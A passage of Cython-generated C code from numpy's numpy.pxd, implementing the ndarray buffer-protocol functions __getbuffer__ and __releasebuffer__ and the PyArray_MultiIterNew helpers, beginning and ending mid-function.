__LINE__; goto __pyx_L1_error;}\n    goto __pyx_L6;\n  }\n  __pyx_L6:;\n\n  /* \"numpy.pxd\":221\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")\n * \n *             info.buf = PyArray_DATA(self)             # <<<<<<<<<<<<<<\n *             info.ndim = ndim\n *             if copy_shape:\n */\n  __pyx_v_info->buf = PyArray_DATA(__pyx_v_self);\n\n  /* \"numpy.pxd\":222\n * \n *             info.buf = PyArray_DATA(self)\n *             info.ndim = ndim             # <<<<<<<<<<<<<<\n *             if copy_shape:\n *                 # Allocate new buffer for strides and shape info.\n */\n  __pyx_v_info->ndim = __pyx_v_ndim;\n\n  /* \"numpy.pxd\":223\n *             info.buf = PyArray_DATA(self)\n *             info.ndim = ndim\n *             if copy_shape:             # <<<<<<<<<<<<<<\n *                 # Allocate new buffer for strides and shape info.\n *                 # This is allocated as one block, strides first.\n */\n  if (__pyx_v_copy_shape) {\n\n    /* \"numpy.pxd\":226\n *                 # Allocate new buffer for strides and shape info.\n *                 # This is allocated as one block, strides first.\n *                 info.strides = <Py_ssize_t*>stdlib.malloc(sizeof(Py_ssize_t) * <size_t>ndim * 2)             # <<<<<<<<<<<<<<\n *                 info.shape = info.strides + ndim\n *                 for i in range(ndim):\n */\n    __pyx_v_info->strides = ((Py_ssize_t *)malloc((((sizeof(Py_ssize_t)) * ((size_t)__pyx_v_ndim)) * 2)));\n\n    /* \"numpy.pxd\":227\n *                 # This is allocated as one block, strides first.\n *                 info.strides = <Py_ssize_t*>stdlib.malloc(sizeof(Py_ssize_t) * <size_t>ndim * 2)\n *                 info.shape = info.strides + ndim             # <<<<<<<<<<<<<<\n *                 for i in range(ndim):\n *                     info.strides[i] = PyArray_STRIDES(self)[i]\n */\n    __pyx_v_info->shape = (__pyx_v_info->strides + __pyx_v_ndim);\n\n    /* \"numpy.pxd\":228\n *                 info.strides = <Py_ssize_t*>stdlib.malloc(sizeof(Py_ssize_t) * <size_t>ndim * 2)\n *                 info.shape = info.strides + ndim\n *                 for i in range(ndim):             # <<<<<<<<<<<<<<\n *                     info.strides[i] = PyArray_STRIDES(self)[i]\n *                     info.shape[i] = PyArray_DIMS(self)[i]\n */\n    __pyx_t_5 = __pyx_v_ndim;\n    for (__pyx_t_6 = 0; __pyx_t_6 < __pyx_t_5; __pyx_t_6+=1) {\n      __pyx_v_i = __pyx_t_6;\n\n      /* \"numpy.pxd\":229\n *                 info.shape = info.strides + ndim\n *                 for i in range(ndim):\n *                     info.strides[i] = PyArray_STRIDES(self)[i]             # <<<<<<<<<<<<<<\n *                     info.shape[i] = PyArray_DIMS(self)[i]\n *             else:\n */\n      (__pyx_v_info->strides[__pyx_v_i]) = (PyArray_STRIDES(__pyx_v_self)[__pyx_v_i]);\n\n      /* \"numpy.pxd\":230\n *                 for i in range(ndim):\n *                     info.strides[i] = PyArray_STRIDES(self)[i]\n *                     info.shape[i] = PyArray_DIMS(self)[i]             # <<<<<<<<<<<<<<\n *             else:\n *                 info.strides = <Py_ssize_t*>PyArray_STRIDES(self)\n */\n      (__pyx_v_info->shape[__pyx_v_i]) = (PyArray_DIMS(__pyx_v_self)[__pyx_v_i]);\n    }\n    goto __pyx_L7;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":232\n *                     info.shape[i] = PyArray_DIMS(self)[i]\n *             else:\n *                 info.strides = <Py_ssize_t*>PyArray_STRIDES(self)             # <<<<<<<<<<<<<<\n *                 info.shape = <Py_ssize_t*>PyArray_DIMS(self)\n *             info.suboffsets = NULL\n */\n    __pyx_v_info->strides = ((Py_ssize_t *)PyArray_STRIDES(__pyx_v_self));\n\n    /* \"numpy.pxd\":233\n *             else:\n *                 info.strides = <Py_ssize_t*>PyArray_STRIDES(self)\n *                 info.shape = <Py_ssize_t*>PyArray_DIMS(self)             # <<<<<<<<<<<<<<\n *             info.suboffsets = NULL\n *             info.itemsize = PyArray_ITEMSIZE(self)\n */\n    __pyx_v_info->shape = ((Py_ssize_t *)PyArray_DIMS(__pyx_v_self));\n  }\n  __pyx_L7:;\n\n  /* \"numpy.pxd\":234\n *                 info.strides = <Py_ssize_t*>PyArray_STRIDES(self)\n *                 info.shape = <Py_ssize_t*>PyArray_DIMS(self)\n *             info.suboffsets = NULL             # <<<<<<<<<<<<<<\n *             info.itemsize = PyArray_ITEMSIZE(self)\n *             info.readonly = not PyArray_ISWRITEABLE(self)\n */\n  __pyx_v_info->suboffsets = NULL;\n\n  /* \"numpy.pxd\":235\n *                 info.shape = <Py_ssize_t*>PyArray_DIMS(self)\n *             info.suboffsets = NULL\n *             info.itemsize = PyArray_ITEMSIZE(self)             # <<<<<<<<<<<<<<\n *             info.readonly = not PyArray_ISWRITEABLE(self)\n * \n */\n  __pyx_v_info->itemsize = PyArray_ITEMSIZE(__pyx_v_self);\n\n  /* \"numpy.pxd\":236\n *             info.suboffsets = NULL\n *             info.itemsize = PyArray_ITEMSIZE(self)\n *             info.readonly = not PyArray_ISWRITEABLE(self)             # <<<<<<<<<<<<<<\n * \n *             cdef int t\n */\n  __pyx_v_info->readonly = (!PyArray_ISWRITEABLE(__pyx_v_self));\n\n  /* \"numpy.pxd\":239\n * \n *             cdef int t\n *             cdef char* f = NULL             # <<<<<<<<<<<<<<\n *             cdef dtype descr = self.descr\n *             cdef list stack\n */\n  __pyx_v_f = NULL;\n\n  /* \"numpy.pxd\":240\n *             cdef int t\n *             cdef char* f = NULL\n *             cdef dtype descr = self.descr             # <<<<<<<<<<<<<<\n *             cdef list stack\n *             cdef int offset\n */\n  __pyx_t_4 = ((PyObject *)__pyx_v_self->descr);\n  __Pyx_INCREF(__pyx_t_4);\n  __pyx_v_descr = ((PyArray_Descr *)__pyx_t_4);\n  __pyx_t_4 = 0;\n\n  /* \"numpy.pxd\":244\n *             cdef int offset\n * \n *             cdef bint hasfields = PyDataType_HASFIELDS(descr)             # <<<<<<<<<<<<<<\n * \n *             if not hasfields and not copy_shape:\n */\n  __pyx_v_hasfields = PyDataType_HASFIELDS(__pyx_v_descr);\n\n  /* \"numpy.pxd\":246\n *             cdef bint hasfields = PyDataType_HASFIELDS(descr)\n * \n *             if not hasfields and not copy_shape:             # <<<<<<<<<<<<<<\n *                 # do not call releasebuffer\n *                 info.obj = None\n */\n  __pyx_t_2 = (!__pyx_v_hasfields);\n  if (__pyx_t_2) {\n    __pyx_t_3 = (!__pyx_v_copy_shape);\n    __pyx_t_1 = __pyx_t_3;\n  } else {\n    __pyx_t_1 = __pyx_t_2;\n  }\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":248\n *             if not hasfields and not copy_shape:\n *                 # do not call releasebuffer\n *                 info.obj = None             # <<<<<<<<<<<<<<\n *             else:\n *                 # need to call releasebuffer\n */\n    __Pyx_INCREF(Py_None);\n    __Pyx_GIVEREF(Py_None);\n    __Pyx_GOTREF(__pyx_v_info->obj);\n    __Pyx_DECREF(__pyx_v_info->obj);\n    __pyx_v_info->obj = Py_None;\n    goto __pyx_L10;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":251\n *             else:\n *                 # need to call releasebuffer\n *                 info.obj = self             # <<<<<<<<<<<<<<\n * \n *             if not hasfields:\n */\n    __Pyx_INCREF(((PyObject *)__pyx_v_self));\n    __Pyx_GIVEREF(((PyObject *)__pyx_v_self));\n    __Pyx_GOTREF(__pyx_v_info->obj);\n    __Pyx_DECREF(__pyx_v_info->obj);\n    __pyx_v_info->obj = ((PyObject *)__pyx_v_self);\n  }\n  __pyx_L10:;\n\n  /* \"numpy.pxd\":253\n *                 info.obj = self\n * \n *             if not hasfields:             # <<<<<<<<<<<<<<\n *                 t = descr.type_num\n *                 if ((descr.byteorder == c'>' and little_endian) or\n */\n  __pyx_t_1 = (!__pyx_v_hasfields);\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":254\n * \n *             if not hasfields:\n *                 t = descr.type_num             # <<<<<<<<<<<<<<\n *                 if ((descr.byteorder == c'>' and little_endian) or\n *                     (descr.byteorder == c'<' and not little_endian)):\n */\n    __pyx_t_5 = __pyx_v_descr->type_num;\n    __pyx_v_t = __pyx_t_5;\n\n    /* \"numpy.pxd\":255\n *             if not hasfields:\n *                 t = descr.type_num\n *                 if ((descr.byteorder == c'>' and little_endian) or             # <<<<<<<<<<<<<<\n *                     (descr.byteorder == c'<' and not little_endian)):\n *                     raise ValueError(u\"Non-native byte order not supported\")\n */\n    __pyx_t_1 = (__pyx_v_descr->byteorder == '>');\n    if (__pyx_t_1) {\n      __pyx_t_2 = __pyx_v_little_endian;\n    } else {\n      __pyx_t_2 = __pyx_t_1;\n    }\n    if (!__pyx_t_2) {\n\n      /* \"numpy.pxd\":256\n *                 t = descr.type_num\n *                 if ((descr.byteorder == c'>' and little_endian) or\n *                     (descr.byteorder == c'<' and not little_endian)):             # <<<<<<<<<<<<<<\n *                     raise ValueError(u\"Non-native byte order not supported\")\n *                 if   t == NPY_BYTE:        f = \"b\"\n */\n      __pyx_t_1 = (__pyx_v_descr->byteorder == '<');\n      if (__pyx_t_1) {\n        __pyx_t_3 = (!__pyx_v_little_endian);\n        __pyx_t_7 = __pyx_t_3;\n      } else {\n        __pyx_t_7 = __pyx_t_1;\n      }\n      __pyx_t_1 = __pyx_t_7;\n    } else {\n      __pyx_t_1 = __pyx_t_2;\n    }\n    if (__pyx_t_1) {\n\n      /* \"numpy.pxd\":257\n *                 if ((descr.byteorder == c'>' and little_endian) or\n *                     (descr.byteorder == c'<' and not little_endian)):\n *                     raise ValueError(u\"Non-native byte order not supported\")             # <<<<<<<<<<<<<<\n *                 if   t == NPY_BYTE:        f = \"b\"\n *                 elif t == NPY_UBYTE:       f = \"B\"\n */\n      __pyx_t_4 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_11), NULL); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      __Pyx_Raise(__pyx_t_4, 0, 0, 0);\n      __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      goto __pyx_L12;\n    }\n    __pyx_L12:;\n\n    /* \"numpy.pxd\":258\n *                     (descr.byteorder == c'<' and not little_endian)):\n *                     raise ValueError(u\"Non-native byte order not supported\")\n *                 if   t == NPY_BYTE:        f = \"b\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_UBYTE:       f = \"B\"\n *                 elif t == NPY_SHORT:       f = \"h\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_BYTE);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__b;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":259\n *                     raise ValueError(u\"Non-native byte order not supported\")\n *                 if   t == NPY_BYTE:        f = \"b\"\n *                 elif t == NPY_UBYTE:       f = \"B\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_SHORT:       f = \"h\"\n *                 elif t == NPY_USHORT:      f = \"H\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_UBYTE);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__B;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":260\n *                 if   t == NPY_BYTE:        f = \"b\"\n *                 elif t == NPY_UBYTE:       f = \"B\"\n *                 elif t == NPY_SHORT:       f = \"h\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_USHORT:      f = \"H\"\n *                 elif t == NPY_INT:         f = \"i\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_SHORT);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__h;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":261\n *                 elif t == NPY_UBYTE:       f = \"B\"\n *                 elif t == NPY_SHORT:       f = \"h\"\n *                 elif t == NPY_USHORT:      f = \"H\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_INT:         f = \"i\"\n *                 elif t == NPY_UINT:        f = \"I\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_USHORT);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__H;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":262\n *                 elif t == NPY_SHORT:       f = \"h\"\n *                 elif t == NPY_USHORT:      f = \"H\"\n *                 elif t == NPY_INT:         f = \"i\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_UINT:        f = \"I\"\n *                 elif t == NPY_LONG:        f = \"l\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_INT);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__i;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":263\n *                 elif t == NPY_USHORT:      f = \"H\"\n *                 elif t == NPY_INT:         f = \"i\"\n *                 elif t == NPY_UINT:        f = \"I\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_LONG:        f = \"l\"\n *                 elif t == NPY_ULONG:       f = \"L\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_UINT);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__I;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":264\n *                 elif t == NPY_INT:         f = \"i\"\n *                 elif t == NPY_UINT:        f = \"I\"\n *                 elif t == NPY_LONG:        f = \"l\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_ULONG:       f = \"L\"\n *                 elif t == NPY_LONGLONG:    f = \"q\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_LONG);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__l;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":265\n *                 elif t == NPY_UINT:        f = \"I\"\n *                 elif t == NPY_LONG:        f = \"l\"\n *                 elif t == NPY_ULONG:       f = \"L\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_LONGLONG:    f = \"q\"\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_ULONG);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__L;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":266\n *                 elif t == NPY_LONG:        f = \"l\"\n *                 elif t == NPY_ULONG:       f = \"L\"\n *                 elif t == NPY_LONGLONG:    f = \"q\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"\n *                 elif t == NPY_FLOAT:       f = \"f\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_LONGLONG);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__q;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":267\n *                 elif t == NPY_ULONG:       f = \"L\"\n *                 elif t == NPY_LONGLONG:    f = \"q\"\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_FLOAT:       f = \"f\"\n *                 elif t == NPY_DOUBLE:      f = \"d\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_ULONGLONG);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__Q;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":268\n *                 elif t == NPY_LONGLONG:    f = \"q\"\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"\n *                 elif t == NPY_FLOAT:       f = \"f\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_DOUBLE:      f = \"d\"\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_FLOAT);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__f;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":269\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"\n *                 elif t == NPY_FLOAT:       f = \"f\"\n *                 elif t == NPY_DOUBLE:      f = \"d\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_DOUBLE);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__d;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":270\n *                 elif t == NPY_FLOAT:       f = \"f\"\n *                 elif t == NPY_DOUBLE:      f = \"d\"\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_LONGDOUBLE);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__g;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":271\n *                 elif t == NPY_DOUBLE:      f = \"d\"\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"\n *                 elif t == NPY_CLONGDOUBLE: f = \"Zg\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_CFLOAT);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__Zf;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":272\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_CLONGDOUBLE: f = \"Zg\"\n *                 elif t == NPY_OBJECT:      f = \"O\"\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_CDOUBLE);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__Zd;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":273\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"\n *                 elif t == NPY_CLONGDOUBLE: f = \"Zg\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_OBJECT:      f = \"O\"\n *                 else:\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_CLONGDOUBLE);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__Zg;\n      goto __pyx_L13;\n    }\n\n    /* \"numpy.pxd\":274\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"\n *                 elif t == NPY_CLONGDOUBLE: f = \"Zg\"\n *                 elif t == NPY_OBJECT:      f = \"O\"             # <<<<<<<<<<<<<<\n *                 else:\n *                     raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n */\n    __pyx_t_1 = (__pyx_v_t == NPY_OBJECT);\n    if (__pyx_t_1) {\n      __pyx_v_f = __pyx_k__O;\n      goto __pyx_L13;\n    }\n    /*else*/ {\n\n      /* \"numpy.pxd\":276\n *                 elif t == NPY_OBJECT:      f = \"O\"\n *                 else:\n *                     raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)             # <<<<<<<<<<<<<<\n *                 info.format = f\n *                 return\n */\n      __pyx_t_4 = PyInt_FromLong(__pyx_v_t); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 276; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      __pyx_t_8 = PyNumber_Remainder(((PyObject *)__pyx_kp_u_12), __pyx_t_4); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 276; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(((PyObject *)__pyx_t_8));\n      __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;\n      __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 276; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, ((PyObject *)__pyx_t_8));\n      __Pyx_GIVEREF(((PyObject *)__pyx_t_8));\n      __pyx_t_8 = 0;\n      __pyx_t_8 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 276; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_8);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __Pyx_Raise(__pyx_t_8, 0, 0, 0);\n      __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 276; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    }\n    __pyx_L13:;\n\n    /* \"numpy.pxd\":277\n *                 else:\n *                     raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n *                 info.format = f             # <<<<<<<<<<<<<<\n *                 return\n *             else:\n */\n    __pyx_v_info->format = __pyx_v_f;\n\n    /* \"numpy.pxd\":278\n *                     raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n *                 info.format = f\n *                 return             # <<<<<<<<<<<<<<\n *             else:\n *                 info.format = <char*>stdlib.malloc(_buffer_format_string_len)\n */\n    __pyx_r = 0;\n    goto __pyx_L0;\n    goto __pyx_L11;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":280\n *                 return\n *             else:\n *                 info.format = <char*>stdlib.malloc(_buffer_format_string_len)             # <<<<<<<<<<<<<<\n *                 info.format[0] = c'^' # Native data types, manual alignment\n *                 offset = 0\n */\n    __pyx_v_info->format = ((char *)malloc(255));\n\n    /* \"numpy.pxd\":281\n *             else:\n *                 info.format = <char*>stdlib.malloc(_buffer_format_string_len)\n *                 info.format[0] = c'^' # Native data types, manual alignment             # <<<<<<<<<<<<<<\n *                 offset = 0\n *                 f = _util_dtypestring(descr, info.format + 1,\n */\n    (__pyx_v_info->format[0]) = '^';\n\n    /* \"numpy.pxd\":282\n *                 info.format = <char*>stdlib.malloc(_buffer_format_string_len)\n *                 info.format[0] = c'^' # Native data types, manual alignment\n *                 offset = 0             # <<<<<<<<<<<<<<\n *                 f = _util_dtypestring(descr, info.format + 1,\n *                                       info.format + _buffer_format_string_len,\n */\n    __pyx_v_offset = 0;\n\n    /* \"numpy.pxd\":285\n *                 f = _util_dtypestring(descr, info.format + 1,\n *                                       info.format + _buffer_format_string_len,\n *                                       &offset)             # <<<<<<<<<<<<<<\n *                 f[0] = c'\\0' # Terminate format string\n * \n */\n    __pyx_t_9 = __pyx_f_5numpy__util_dtypestring(__pyx_v_descr, (__pyx_v_info->format + 1), (__pyx_v_info->format + 255), (&__pyx_v_offset)); if (unlikely(__pyx_t_9 == NULL)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 283; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __pyx_v_f = __pyx_t_9;\n\n    /* \"numpy.pxd\":286\n *                                       info.format + _buffer_format_string_len,\n *                                       &offset)\n *                 f[0] = c'\\0' # Terminate format string             # <<<<<<<<<<<<<<\n * \n *         def __releasebuffer__(ndarray self, Py_buffer* info):\n */\n    (__pyx_v_f[0]) = '\\x00';\n  }\n  __pyx_L11:;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_XDECREF(__pyx_t_8);\n  __Pyx_AddTraceback(\"numpy.ndarray.__getbuffer__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = -1;\n  if (__pyx_v_info != NULL && __pyx_v_info->obj != NULL) {\n    __Pyx_GOTREF(__pyx_v_info->obj);\n    __Pyx_DECREF(__pyx_v_info->obj); __pyx_v_info->obj = NULL;\n  }\n  goto __pyx_L2;\n  __pyx_L0:;\n  if (__pyx_v_info != NULL && __pyx_v_info->obj == Py_None) {\n    __Pyx_GOTREF(Py_None);\n    __Pyx_DECREF(Py_None); __pyx_v_info->obj = NULL;\n  }\n  __pyx_L2:;\n  __Pyx_XDECREF((PyObject *)__pyx_v_descr);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic CYTHON_UNUSED void __pyx_pw_5numpy_7ndarray_3__releasebuffer__(PyObject *__pyx_v_self, Py_buffer *__pyx_v_info); /*proto*/\nstatic CYTHON_UNUSED void __pyx_pw_5numpy_7ndarray_3__releasebuffer__(PyObject *__pyx_v_self, Py_buffer *__pyx_v_info) {\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__releasebuffer__ (wrapper)\", 0);\n  __pyx_pf_5numpy_7ndarray_2__releasebuffer__(((PyArrayObject *)__pyx_v_self), ((Py_buffer *)__pyx_v_info));\n  __Pyx_RefNannyFinishContext();\n}\n\n/* \"numpy.pxd\":288\n *                 f[0] = c'\\0' # Terminate format string\n * \n *         def __releasebuffer__(ndarray self, Py_buffer* info):             # <<<<<<<<<<<<<<\n *             if PyArray_HASFIELDS(self):\n *                 stdlib.free(info.format)\n */\n\nstatic void __pyx_pf_5numpy_7ndarray_2__releasebuffer__(PyArrayObject *__pyx_v_self, Py_buffer *__pyx_v_info) {\n  __Pyx_RefNannyDeclarations\n  int __pyx_t_1;\n  __Pyx_RefNannySetupContext(\"__releasebuffer__\", 0);\n\n  /* \"numpy.pxd\":289\n * \n *         def __releasebuffer__(ndarray self, Py_buffer* info):\n *             if PyArray_HASFIELDS(self):             # <<<<<<<<<<<<<<\n *                 stdlib.free(info.format)\n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n */\n  __pyx_t_1 = PyArray_HASFIELDS(__pyx_v_self);\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":290\n *         def __releasebuffer__(ndarray self, Py_buffer* info):\n *             if PyArray_HASFIELDS(self):\n *                 stdlib.free(info.format)             # <<<<<<<<<<<<<<\n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n *                 stdlib.free(info.strides)\n */\n    free(__pyx_v_info->format);\n    goto __pyx_L3;\n  }\n  __pyx_L3:;\n\n  /* \"numpy.pxd\":291\n *             if PyArray_HASFIELDS(self):\n *                 stdlib.free(info.format)\n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):             # <<<<<<<<<<<<<<\n *                 stdlib.free(info.strides)\n *                 # info.shape was stored after info.strides in the same block\n */\n  __pyx_t_1 = ((sizeof(npy_intp)) != (sizeof(Py_ssize_t)));\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":292\n *                 stdlib.free(info.format)\n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n *                 stdlib.free(info.strides)             # <<<<<<<<<<<<<<\n *                 # info.shape was stored after info.strides in the same block\n * \n */\n    free(__pyx_v_info->strides);\n    goto __pyx_L4;\n  }\n  __pyx_L4:;\n\n  __Pyx_RefNannyFinishContext();\n}\n\n/* \"numpy.pxd\":768\n * ctypedef npy_cdouble     complex_t\n * \n * cdef inline object PyArray_MultiIterNew1(a):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(1, <void*>a)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew1(PyObject *__pyx_v_a) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew1\", 0);\n\n  /* \"numpy.pxd\":769\n * \n * cdef inline object PyArray_MultiIterNew1(a):\n *     return PyArray_MultiIterNew(1, <void*>a)             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew2(a, b):\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(1, ((void *)__pyx_v_a)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 769; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew1\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":771\n *     return PyArray_MultiIterNew(1, <void*>a)\n * \n * cdef inline object PyArray_MultiIterNew2(a, b):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(2, <void*>a, <void*>b)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew2(PyObject *__pyx_v_a, PyObject *__pyx_v_b) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  